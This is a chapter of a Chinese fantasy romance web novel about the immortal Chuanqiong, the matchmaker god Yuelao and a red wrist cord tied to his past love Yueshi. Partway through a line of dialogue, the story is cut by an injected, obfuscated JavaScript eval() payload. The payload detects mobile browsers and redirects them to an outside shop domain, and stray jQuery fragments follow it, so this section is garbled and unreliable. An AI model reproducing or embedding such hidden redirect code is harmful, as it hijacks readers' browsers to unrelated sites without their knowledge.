清晨的几声鸟啼唤醒了坐在老榆树秋千上浅眠的川穹,他睁开眼,发现天际线处已经有一寸光亮。
老人家觉少,月老早早起床在门口浇花,见到川穹醒来,向他打招呼:“川穹仙君,你醒了?”
“抱歉,昨夜冲动前来,多有打扰。”
“睡得还好吗?”
“...”川穹回想凌晨这段时间的梦境,揉了揉胀痛的太阳穴,迟疑地回答,“还算好。”
即使他梦到了她,但他就像一个冷眼的旁观者,只是重看一遍自己阅读过的故事。
“有事进来说吧。”月老深深地看了川穹一眼,放下浇水壶,对他和蔼地笑。
川穹跟着月老走进大殿,穿过中庭、回廊,拐进了他的办公处。
月老沏上一壶清茶,将翠玉茶杯推到川穹面前,“仙君此番前来,不知是有何要事。”
川穹端起茶杯,轻抿一口,想要驱散脑子里的那层雾。
他微不可察地叹了口气,将放置在桌下的左手放到桌上,右手拂开袍袖。
“贸然前来,是想问月老爷爷您,这条红绳子是怎么回事?”
月老听到这个称呼一愣,又看向他腕间的那条红绳,哑然失笑。
他缓缓开口问道:“仙君最近动心了吗?”
最近?动心?
川穹这前一千五百多年来最防备的就是“动心”二字。他动什么心,还敢动心吗?
川穹张了张嘴,“没有”两个字已经快呼之欲出,却让他又咽了回去。
他明知道自己为什么半夜三更不睡觉来月老宫,他明知道他想知道什么。
他明知道。
他脑子里不由自主地出现一个个画面。
那个喜欢上课发呆的,考倒数难过的,一睡就睡得七荤八素的,对着红烧肉笑得比对着他还灿烂的女孩。
然后是再久一点的以前,她初次上户口的那一面,挤来讲座的那一跤。
川穹在满室寂静中,听见自己的心跳声大得惊人。
“嗯…”他的声音中带着一丝不愿承认的无奈,像是在被迫认罪,“大概是有的。”
“这条红绳的出现大概就是因为你的这次动心。”
“我为什么会有这个东西?我是神仙,而且它在手腕上。”他的语速快了几分,略带一种急切。
川穹还想接着问,问她的手上有吗?……她,也喜欢我吗?
月老看着川穹面露慌张,轻呼一口气,叹道:“仙君,有些事情,您逼着自己忘了,但很多东西,会替你记得。”
“什么意思?”
“这条红绳…或者说,这根红线。不是您向老朽求的吗?”
此话一出,川穹觉得自己脑子里的某根神经“啪”一下松动,开闸泄洪似的,记忆如潮水般奔涌而来。
……
如世间所有的爱侣一样,川穹和月石拥有一个浪漫且真挚的开始。
两个人经过几天的朝夕相伴,一点点拉近了彼此的距离,暧昧的情愫在他们之间肆意地疯长。
没有繁复的试探,只有水到渠成的彼此袒露心意。
他们回到仙界,过上了蜜里调油的幸福日子。
在月老回来之后,因月石出色地完成了任务,顺利坐上了【闲梦仙】的位置。
此时的月石可以说是爱情事业双丰收。
然而这个职位当得月石心里发虚,她清楚知道月老宫里其他小仙口中的闲言碎语。
毕竟给她的任务明明是帮川穹仙君找姻缘,她竟自己和川穹仙君谈上了。
多的是说她看到川穹仙君条件好,给他找到姻缘还能升职,这种一箭双雕的好事,月石怎么能不处心积虑,怎么能不主动出击?
月石百口莫辩。
她曾经主动找过月老请辞,但月老表示,这个时候退缩只会坐实这些传闻。
于是月石一改从前摆烂混日子,万事得过且过的模样,干起活来比谁都拼命。
可哪怕如此,客观事实证明,她确实是什么好处都占了。
葛花小仙是她的同僚,是月老宫里有名的拼命三娘,她看月石不爽很久了。
她根深蒂固地认定,月石的这个闲梦仙是她用心术不正换来的。
偏偏这时,月老打算开设姻缘司分部,月石的勤勉他都看在眼里,便有意栽培她,选她做分部负责人。
任命还未正式下达,消息就走漏了风声,落进了葛花的耳朵里。
有一回她在路上撞见川穹,实在气不过,将人拦下对着他拐弯抹角地告状,话里话外暗示他,月石当初靠近他、和他在一起只是抱着谋求仙途的私心。
川穹清楚记得他当时的态度。
他当下冷声对着葛花表态:“是我先对月石动了心,是我主动追求她,是我非要和她在一起。请你、和所有这么以为的人,停止无端的猜忌和传谣。”
但这些话总归还是影响到了川穹,勾起了他心底压着的不安。
夜里回到居所,月石正趴在案前批梦牒。
一个小小月老宫的闲梦仙,竟比他一个掌管日月星辰的大官还要忙,他们已经有多久没有好好说过话了?
川穹调整好自己的心情,倒了一碗热茶放在桌角,轻声问道:“最近很忙吗?”
月石看到他来,放下手中的工作,握住他的手,语气里有点撒娇:“仙君,这会儿快忙完了,刚好我有事要和你说。”
“好,我等你。”川穹坐到她对面,看着她低下头继续工作的认真眉眼,心里居然七上八下的。
一刻钟左右,月石放下梦牒,抬头望向川穹,却看见对方脸色微沉,眉头紧皱。
“仙君,你怎么啦?”
“没事。”川穹回过神,轻轻摇头,“你想和我说什么事。”
月石犹豫了一下,开口说道:“仙君,月老爷爷准备开一个姻缘司分部,想让我去当负责人。”
川穹下意识地回:“好事情啊。”
他话一说完,葛花那番谋求仙途的阴谋论浮上了他的心头。
没想到,月石的下一句话跟上,在他的角度看来更是坐实了这番言论。
“但是分部的位置离这里比较远……一开始的事情多,接下去一段时间我会比较少回来。”
“还回来吗?”川穹语气冷淡,惊得月石心一跳。
她不敢置信地回他:“你在说什么?”
“今天有个叫葛花的小仙,莫名其妙把本仙君拦下来,你猜她说了什么
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17948011|213813||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
?”
月石站起身来,全身发冷,她颤抖着声线问:“你相信?”
“我没信。”川穹面容沉静,一字一句地诉说自己的委屈,“但是,刚开始在一起的时候我们的感情什么样,你当上闲梦仙之后又变成什么样?”
“所有事情,我都以你为主,以你为先,你清楚。我的世界里全是你,你也清楚。你呢?别人的眼光比我重要,别人的闲话比我重要,你的仙途比我重要!”
月石怒极反笑:“这些不重要吗?你知道我之前是什么样!我现在这么努力不就是为了能和你并肩站在一起?”
两个人你一句我一句,把平时积压的情绪一股脑倾倒出来,她说他不理解她,他说她不在意他。吵到最后,月石转过身去,不再出声了。
川穹看着她的背影,忽然什么气都散了,他走过去,从后面把她轻轻圈住。
月石挣了一下,川穹抱得更紧。她感觉自己脖颈一凉,好似有一滴泪坠到上面,顺着她的脊骨滑落。
月石僵住了。
“是我先喜欢你,我认。”川穹的声音低低地落在她的耳边,“你只为了职位和我在一起,也罢。”
“我只想你现在爱我,以后也爱我。行不行?”
很久很久,月石才出声。
“你傻不傻?”
她转过身,抱住他,难掩哽咽:“我一直爱你啊。”
那天夜里他们并排躺着,睡也睡不着,月石忽然轻笑开口:“我们现在知道为什么雷公电母天天吵架还分不开了吧?”
川穹翻身把脸埋进月石的肩窝,闷闷地说:“知道了。”
感情哪里是骗得了人的事,即使吵过架,闹过矛盾,可那一份爱意任凭如何折腾,都无法消散。
月石正式走马上任的那天,是他们的七周年纪念日,但是一大早,在寝殿里就没见到川穹的身影。
月石找不到他,索性在院子里等,不交代一句再走,他又要生气。
等到午后,川穹才回来。
“你去哪儿了?“
川穹没答,只是在她面前蹲下,从袖子里摸出一条红绳,在阳光下泛着微光,一看就不是凡品。
“哪来的?”月石明知故问,仙界还有哪有这东西?
“月老爷爷那里求的。”自从和月石在一起,川穹就跟着月石喊爷爷了。
他把她的右手拉过来,红绳绕上她的手腕,打了个死结。又把自己的左手伸出来,另一头系上去。
他们俩曾经在凡间讨论过腕上红线的意义,所以他们都知道。
脚上的红线,是“我们终会相遇”;
腕上的红线,是“我选择不放开你”。
红绳绕在腕间,是让每一次脉搏和心跳都替我重复一遍:
在千万人里,我清醒地、坚定地、一次又一次,选择你。
系好了。
川穹低头看着月石手腕上的红绳,郑重地落下一吻。
人一旦起了爱欲,光靠言语表达根本无法满足。
拥抱时收紧的力度、亲吻时交缠的气息、对视时对方瞳孔中只属于自己的倒影.....这些也通通不够。
他当下迫切渴望的,就是这根,强制打上死结的红线。